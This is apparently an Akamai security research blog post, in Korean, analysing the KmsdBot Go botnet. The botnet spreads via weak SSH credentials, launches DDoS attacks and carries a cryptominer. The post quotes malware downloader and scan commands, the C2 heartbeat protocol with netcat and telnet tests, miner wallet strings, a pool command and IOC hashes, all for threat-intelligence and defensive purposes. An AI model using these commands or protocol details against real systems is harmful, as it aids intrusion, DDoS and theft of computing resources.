클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

KmsdBot: 악성 코드 공격 및 마이닝 멀웨어

Larry Cashdollar

에 의해 작성

Larry Cashdollar

November 10, 2022

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

Akamai 보안 연구팀에서는 허니팟을 감염시킨 새로운 멀웨어를 KmsdBot라고 명명하고 관측했습니다. 봇넷은 취약한 인증정보를 사용하는 SSH 연결을 통해 시스템을 감염시킵니다.
Akamai 보안 연구팀에서는 허니팟을 감염시킨 새로운 멀웨어를 KmsdBot라고 명명하고 관측했습니다. 봇넷은 취약한 인증정보를 사용하는 SSH 연결을 통해 시스템을 감염시킵니다.

핵심 요약

  • Akamai Security Intelligence Group에서는 허니팟을 감염시킨 새로운 멀웨어를 관측하고 KmsdBot라고 명명했습니다.  

  • 봇넷은 취약한 로그인 인증정보를 사용하는 SSH 연결을 통해 시스템을 감염시킵니다.

  • 리버스 엔지니어링의 어려움 때문에 공격자들이 공통적으로 사용하는 언어인 Golang으로 작성되었습니다.

  • 이 멀웨어는 TCP를 통해 통신하는 명령 및 제어 인프라(C2)와 함께 UDP, TCP, HTTP POST, GET을 사용해 공격합니다.

  • 이 멀웨어의 탐지 회피 방법은 감염된 시스템에 계속 머물지 않는 것입니다.

  • 이 멀웨어는 게임 업계, 기술 업계, 고급 자동차 제조업체 등 다양한 산업을 표적으로 합니다.

  • 이 봇넷은 또한 암호화폐를 채굴할 수 있습니다.

  • 이 멀웨어는 Winx86, Arm64, mips64, x86_64 등의 여러 아키텍처를 지원합니다.

날마다 달라지는 멀웨어

Akamai 보안 인텔리전스 대응팀(SIRT)은 새로 공격 패턴을 추적, 탐지, 기록, 발표함으로써 Akamai, Akamai 고객, 인터넷 전반의 보안과 안정을 지켜내는 일을 담당합니다. 이 미션의 일환으로, 우리는 인터넷 전반에 수많은 허니팟을 퍼뜨렸습니다. SIRT의 구성원은 이러한 허니팟을 관찰 및 분석해 모든 종류의 멋진 결과를 얻을 수 있으며 실제로 일어나는 일을 정확하게 파악할 수 있습니다. 

이번 주에 우리는 특히 연휴 시즌에 접어들면서 더 많은 것들을 발견하기 위해 새로운 허니팟 설정으로 실험하기 시작했습니다. 지금까지 매년 이맘때쯤이면 악성 활동을 더 많이 관찰했기 때문에 새로운 허니팟을 테스트 및 수정 초기 단계에 걸쳐 보다 개방적이고 접근성이 높은 상태로 설정해 두었습니다. 이보다 더 괜찮은 방법이 있을까요? 

예상했듯이 흥미로운 로그 항목을 찾았습니다. 게임 업계에 맞추어 분산 서비스 거부 (DDoS) 기능 을 갖춘 크립토마이너입니다. 이러한 종류의 봇넷, 특히 Golang으로 작성된 봇넷이 적극적으로 공격하고 확산되는 경우는 흔하지 않습니다. 이 멀웨어의 표적은 게임사에서 고급 자동차 브랜드, 보안 회사에 이르기까지 다양하며 일관성을 보이고 있지는 않습니다. 

이 게시물에서는 KmsdBot이 보안팀의 메커니즘을 접했을 때의 이야기에 대해 간략하게 설명할 것입니다. 기업은 이를 조사해 보안을 강화할 수 있습니다.

항상 로그를 확인하세요

허니팟의 개방성을 꽤 높게 설정했기 때문에, 히트 수가 많이 있을 것으로 예상했습니다. 결국, 좋은 허니팟은 공격자를 유인할 수 있습니다. 멀웨어를 다운로드하는 몇 가지 명령어가 있어서 조사를 시작했습니다. 검토 결과, 그림 1에서 볼 수 있듯이 항목이 꽤 많이 있었습니다.

그림 1: 멀웨어 감염 다운로드 및 실행 명령의 로그 항목

그림 1: 멀웨어 감염 다운로드 및 실행 명령의 로그 항목

파일 전송 프로토콜(FTP)을 사용해 시스템에 로그인하고 다운로드 가능한 모든 파일에 접근할 수 있었습니다. 이를 통해 멀웨어 자체의 동기 및 잠재적으로 그 배후의 공격자에 대해 많은 정보를 얻을 수 있습니다.

그림 2: 다양한 CPU 아키텍처 지원

그림 2: 다양한 CPU 아키텍처 지원

그림 2는 FTP 다운로드 서버의 디렉터리 구조를 보여줍니다. 시스템 아키텍처 디렉터리를 볼 수 있는데, 일부는 컴파일된 바이너리를 포함하고 있고 나머지는 비어 있습니다. 그러나 비어 있는 디렉터리는 멀웨어 작성자가 다음에 표적으로 삼을 수 있는 위치를 보여 줍니다. download.php 스크립트에는 실행 중인 웹 서버에서 멀웨어를 다운로드하고 실행하는 감염 코드가 포함되어 있습니다.

그림 3: download.php 스크립트에는 실행 중인 웹 서버에서 멀웨어를 다운로드하고 실행하는 감염 코드가 포함되어 있습니다

그림 3: download.php 스크립트에는 실행 중인 웹 서버에서 멀웨어를 다운로드하고 실행하는 감염 코드가 포함되어 있습니다

추가 분석을 통해 다양한 아키텍처에 대해 상당히 많은 수의 교차 컴파일된 바이너리가 있는 것으로 나타났습니다(그림 3). 디렉터리 중 일부는 비어 있지만 x86_64 및 386 등의 일부 아키텍처에는 다운로드할 수 있는 멀웨어 샘플이 있습니다. 이 내용은 나중에 이 게시물에서 표적을 살펴볼 때 중요한 부분입니다.

그림 4: 유사한 크기의 바이너리는 동일한 멀웨어 코드 기반의 개정판으로 보입니다

그림 4: 유사한 크기의 바이너리는 동일한 멀웨어 코드 기반의 개정판으로 보입니다

파일은 모두 컴파일된 Go 언어(Golang) 바이너리입니다.

  client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped

분석 

클라이언트 바이너리와 ksmdm 바이너리에 대한 리드레스(redress) 소스 출력의 차이를 보면 약간의 코드 차이를 제외하고는 동일한 것일 확률이 높은 것을 알 수 있습니다. 리드레스는 리버스 엔지니어링을 지원하기 위해 GO 바이너리에서 구조를 재구축하는 오픈 소스 Go 언어 리버스 엔지니어링 유틸리티입니다. Golang을 악의적인 목적으로 이용하는 공격자들이 증가하고 있기 때문에 이 툴은 매우 중요합니다.  이는 리버스 엔지니어링에 대한 도전으로 이어질 가능성이 높기 때문입니다.

같으면서도 다른 멀웨어... 모두 다 그런가요?

Go 패키지 이름 '/root/client'는 대부분의 바이너리에 대해 동일합니다. 즉, 동일한 멀웨어일 수도 있지만 새로운 기능이 있는 다른 개정 버전일 수도 있습니다. 멀웨어는 자주 업데이트되지만 이 멀웨어의 특성은 여러 방향으로 이동할 수 있다는 것입니다. 보안팀은 C2와 통신하고 업데이트를 하며 마이닝 프로세스를 시작 및 중지하는 클라이언트 바이너리가 있다고 생각합니다. 다른 바이너리는 마이닝 작업 및 공격 운영을 수행하는 것으로 보입니다. 

  $ diff client.source ksmdm.source 
19,23c19,23
< 	start Lines: 12 to 28 (16)	
< 	startfunc1 Lines: 19 to 30 (11)	
< 	startfunc2 Lines: 22 to 22 (0)	
< 	udpclimb Lines: 30 to 60 (30)	
< 	tcpclimb Lines: 60 to 88 (28)	
---
> 	start Lines: 10 to 26 (16)	
> 	startfunc1 Lines: 17 to 28 (11)	
> 	startfunc2 Lines: 20 to 20 (0)	
> 	udpclimb Lines: 28 to 58 (30)	
> 	tcpclimb Lines: 58 to 86 (28)

첫 번째로 관측된 이 멀웨어의 표적은 FiveM이라는게임사였습니다. 사람들이 Grand Theft Auto Online용 맞춤형 개인 서버를 호스팅할 수 있게 해 주는 클라이언트입니다. 그림 4는 UDP 소켓이 개방되고 FiveM 세션 토큰으로 패킷이 빌드되는 것을 보여 줍니다. 이렇게 되면 서버는 사용자가 새로운 세션을 시작하고 있다고 판단해 네트워크 대역폭 외에 추가 리소스를 낭비하게 됩니다. 이 멀웨어는 특정 표적 공격뿐만 아니라 일반적인 레이어 4 및 레이어 7 공격도 포함합니다.

그림 5: FiveM 토큰 데이터를 사용해 UDP 패킷 생성을 보여 주는 sym.main.udpfivemtoken 함수의 디스어셈블리

그림 5: FiveM 토큰 데이터를 사용해 UDP 패킷 생성을 보여 주는 sym.main.udpfivemtoken 함수의 디스어셈블리

스캔 및 확산

ksmdx 샘플을 검사하면 스캔 작업 및 소프트웨어 업데이트를 수행하고 마이닝 프로세스를 제어하는 기능이 나타납니다.

  Package main: /root/client
File: client.go	
	(*Client)Recv Lines: 23 to 34 (11)	
	(*Client)Handle Lines: 34 to 52 (18)	
	(*Client).Handlefunc1 Lines: 35 to 35 (0)	
File: command.go	
	NewCommand Lines: 15 to 32 (17)	
	(*Command)Handle Lines: 32 to 62 (30)	
File: commandfunctions.go	
	ShellExec Lines: 11 to 23 (12)	
	scan Lines: 23 to 50 (27)	
	stopscan Lines: 50 to 69 (19)	
	updateminer Lines: 69 to 108 (39)	
	stopmine Lines: 108 to 127 (19)	
	updateclient Lines: 127 to 159 (32)	
File: main.go	
	main Lines: 8 to 16 (8)	
File: methods.go	
	start Lines: 12 to 28 (16)	
	startfunc1 Lines: 19 to 30 (11)	
	startfunc2 Lines: 22 to 22 (0)	
	udpclimb Lines: 30 to 60 (30)	
	tcpclimb Lines: 60 to 88 (28)	
File: utils.go	
	randomwallet Lines: 73 to 79 (6)	
	envname Lines: 79 to 129 (50)

ksmdx 바이너리는 C2에 'Bruh Started:' 알림과 함께 HTTP POST 요청을 전송해 시스템이 감염되었음을 알리는 다운로더입니다.

  $./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds

HTTP 서버 로그에 GET 요청이 표시됩니다.

  192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"

포트 45833에서 수신기를 시작하면 실행 확인 POST 메시지가 표시됩니다.

 실행 확인 POST 메시지:

봇은 열린 SSH 포트를 검색할 때 사용할 로그인 인증정보 목록(그림 5)을 다운로드하기 위해 !scan 명령어를 전송할 수 있습니다.

  !scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd 
그림 6: kzmds 파일은 사용자 이름과 비밀번호 조합의 목록입니다 그림 6: kzmds 파일은 사용자 이름과 비밀번호 조합의 목록입니다

그림 6: kzmds 파일은 사용자 이름과 비밀번호 조합의 목록입니다

C2 통신

  [pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)

 로그를 다시 확인했을 때 멀웨어가 새 IP 주소에서 허니팟을 공격하고 있는 것을 보았습니다. 새 C2 IP 주소가 내장된 새로운 바이너리를 업로드하고 있었습니다. 

네트워크 트래픽을 관찰하면 감염된 시스템에 의해 연결이 null 바이트 0x00으로 초기화되고 0x01의 응답이 C2에서 전송되는 것을 볼 수 있습니다. 그 다음 감염된 시스템은 16진수 0x02인 2로 응답합니다.

  [pid 2514865] write(4, "0x02", 4)       = 4

And 0x01 is the response

    xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
	0x0000:  4500 0038 adf3 4000 3a06 9b4a ab16 1e1f  E..8..@.:..J....
	0x0010:  c63a 6812 c8bc cc38 81f9 f90a abeb 552a  .:h....8......U*
	0x0020:  8018 01fe f2b4 0000 0101 080a 3cc2 30e0  ............<.0.
	0x0030:  f269 b8b6 3078 3031                      .i..0x01

보안팀은 netcat 유틸리티를 사용해 이를 빠르게 테스트할 수 있습니다.

  $ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01

[pid 2516369] write(4, "0x00", 4)       = 4

It looks like 0x02 is the heartbeat

    xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
	0x0000:  4500 0038 3010 4000 4006 132e c63a 6812  E..80.@.@....:h.
	0x0010:  ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2  .....8....T.....
	0x0020:  8018 01f6 f7ac 0000 0101 080a f268 5151  .............hQQ
	0x0030:  3cc0 b581 3078 3032                      <...0x02

C2와 통신하기

아래에 녹색으로 강조 표시된 텍스트는 C2에서 보낸 응답이고 파란색으로 강조 표시된 텍스트는 0x02 응답을 전송해 멀웨어를 에뮬레이트(emulate)한 위치입니다.

  % telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01

암호화폐 채굴

sym.main.randomwallet() 함수에서 가능한 암호화폐 지갑 사용자 계정은 아래와 같습니다. 이는 다양한 마이닝 풀에 기여하기 위해 무작위로 선택되었다고 생각합니다. 봇넷을 관측하는 동안 암호화폐 채굴 활동은 전혀 목격하지 못했습니다. 봇넷은 DDoS 활동에만 참여했습니다. 봇은 암호화폐 채굴 활동을 실행할 수 있는 기능이 있지만 제가 발견한 것은 ./ksmdr -o pool.hashvault.pro 명령어였습니다. 여기서 ksmdr는 실제로 이름이 변경된 xmrig 바이너리입니다.

  │      │╎   0x0065b6b0      488d05356c08.  lea rax, [0x006e22ec]       ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│      │╎   0x0065b6b7      4889442428     mov qword [var_28h], rax
│      │╎   0x0065b6bc      48c74424305f.  mov qword [var_30h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6c5      488d053d6d08.  lea rax, [0x006e2409]       ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│      │╎   0x0065b6cc      4889442438     mov qword [var_38h], rax
│      │╎   0x0065b6d1      48c74424405f.  mov qword [var_40h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6da      488d05c96c08.  lea rax, [0x006e23aa]       ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│      │╎   0x0065b6e1      4889442448     mov qword [var_48h], rax
│      │╎   0x0065b6e6      48c74424505f.  mov qword [var_50h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6ef      488d05556c08.  lea rax, [0x006e234b]       ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"

소스 구조를 조사한 결과, 일부 바이너리가 동일한 코드 기반의 서로 다른 업데이트 버전임을 알 수 있으므로 이 봇넷은 현재 활발하게 개발 중인 것으로 보입니다.

  $ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< 	(*Command)Handle Lines: 32 to 136 (104)	
---
> 	(*Command)Handle Lines: 32 to 144 (112)	
11,18c11,20
< 	scan Lines: 23 to 50 (27)	
< 	stopscan Lines: 50 to 69 (19)	
< 	updateminer Lines: 69 to 108 (39)	
< 	stopmine Lines: 108 to 127 (19)	
< 	updateclient Lines: 127 to 161 (34)	
< 	loadclient Lines: 161 to 180 (19)	
< 	startminer Lines: 180 to 193 (13)	
< 	reloadminer Lines: 193 to 208 (15)	
---
> 	scan Lines: 23 to 52 (29)	
> 	startscan Lines: 52 to 75 (23)	
> 	stopscan Lines: 75 to 97 (22)	
> 	updateminer Lines: 97 to 144 (47)	
> 	stopmine Lines: 144 to 166 (22)	
> 	updateclient Lines: 166 to 202 (36)	
> 	loadclient Lines: 202 to 221 (19)	
> 	removefile Lines: 221 to 235 (14)	
> 	startminer Lines: 235 to 248 (13)	
> 	reloadminer Lines: 248 to 264 (16)	
54,60c56,62
< 	getrandpath Lines: 12 to 62 (50)	
< 	get Lines: 62 to 109 (47)	
< 	fivem Lines: 109 to 156 (47)	
< 	fivemguid Lines: 156 to 204 (48)	
< 	post1 Lines: 204 to 255 (51)	
< 	post Lines: 255 to 344 (89)	
< 	bigdata Lines: 344 to 386 (42)	
---
> 	getrandpath Lines: 11 to 61 (50)	
> 	get Lines: 61 to 108 (47)	
> 	fivem Lines: 108 to 158 (50)	
> 	fivemguid Lines: 158 to 206 (48)	
> 	post1 Lines: 206 to 257 (51)	
> 	post Lines: 257 to 346 (89)	
> 	bigdata Lines: 346 to 388 (42)	

공격 트래픽 분석

관측한 공격은 무작위 데이터를 페이로드로 포함하는 레이어 4 TCP/UDP 패킷이거나 루트 경로 또는 공격 명령에서 설정된 지정된 경로에 대한 GET 및 POST 요청으로 구성된 레이어 7 HTTP였습니다(그림 6).

그림 7: 공격 POST 요청

그림 7: 공격 POST 요청

아래 스크린샷에서 헤더가 누락된 무작위 링크가 있는 엉망인 요청 헤더를 볼 수 있습니다. 개인 정보 보호를 위해 이미지 일부는 가렸습니다.

그림 8에서는 !post 명령어가 표적에 대한 공격을 명령하는 C2에서 오는 것을 볼 수 있습니다.
그림 8에서는 !post 명령어가 표적에 대한 공격을 명령하는 C2에서 오는 것을 볼 수 있습니다.

그림 8에서는 !post 명령어가 표적에 대한 공격을 명령하는 C2에서 오는 것을 볼 수 있습니다.

그림 8: C2의 공격 명령어

그림 8: C2의 공격 명령어

C2는 sym.main.connect() 함수에 정의되어 있으며 그림 8, 9, 10에 나와 있습니다.

그림 9: C2 통신 함수의 디스어셈블리

그림 9: C2 통신 함수의 디스어셈블리

그림 10: 0x02 응답 코드의 디스어셈블리

그림 10: 0x02 응답 코드의 디스어셈블리

그림 10: TCP 빅 데이터 공격 패킷 그림 10: TCP 빅 데이터 공격 패킷

그림 11: TCP 빅 데이터 공격 패킷

IOC

SHA256 

  701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40  client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11  ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e  ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d  ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95  kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54  kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51  kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b  kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11  ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab  ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e  ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10  ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910  kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54  kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95  kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a  kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a  kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b  kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61  kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533  kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003  kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f  kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff  kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e  kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84  kmsd.s390x

결론

이 봇넷은 보안의 복잡성과 발전 정도를 보여주는 좋은 예입니다. 게임 앱의 봇으로 시작된 것으로 보이며 대형 명품 브랜드를 공격하는 방향으로 선회했습니다. 새로운 점은 취약한 로그인 인증정보를 사용하는 SSH 연결을 통해 감염시키는 방법입니다. 다행인 것은 대부분의 기업 시스템과 네트워크의 보안을 유지하기 위해 보안팀에서 권장하는 것과 같은 기술이 여전히 여기에 적용된다는 점입니다. 

  • 서버 또는 배포된 애플리케이션에 취약한 인증정보 또는 기본 인증정보를 사용하지 마시기 바랍니다. 

  • 최신 보안 패치를 사용해 배포된 애플리케이션을 최신 상태로 유지하고 수시로 확인하세요.  

  • SSH 연결에 공개 키 인증을 사용하세요. 이런 종류의 시스템 침해를 방지하는 가장 좋은 방법입니다. 

Akamai SIRT는 이 활동을 지속적으로 모니터링하고 업데이트가 제공되는 대로 게시하겠습니다.

실시간 리서치 및 업데이트에 대한 자제한 정보를 확인하려면 Twitter에서 Akamai를 팔로우하세요.



Larry Cashdollar

에 의해 작성

Larry Cashdollar

November 10, 2022

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.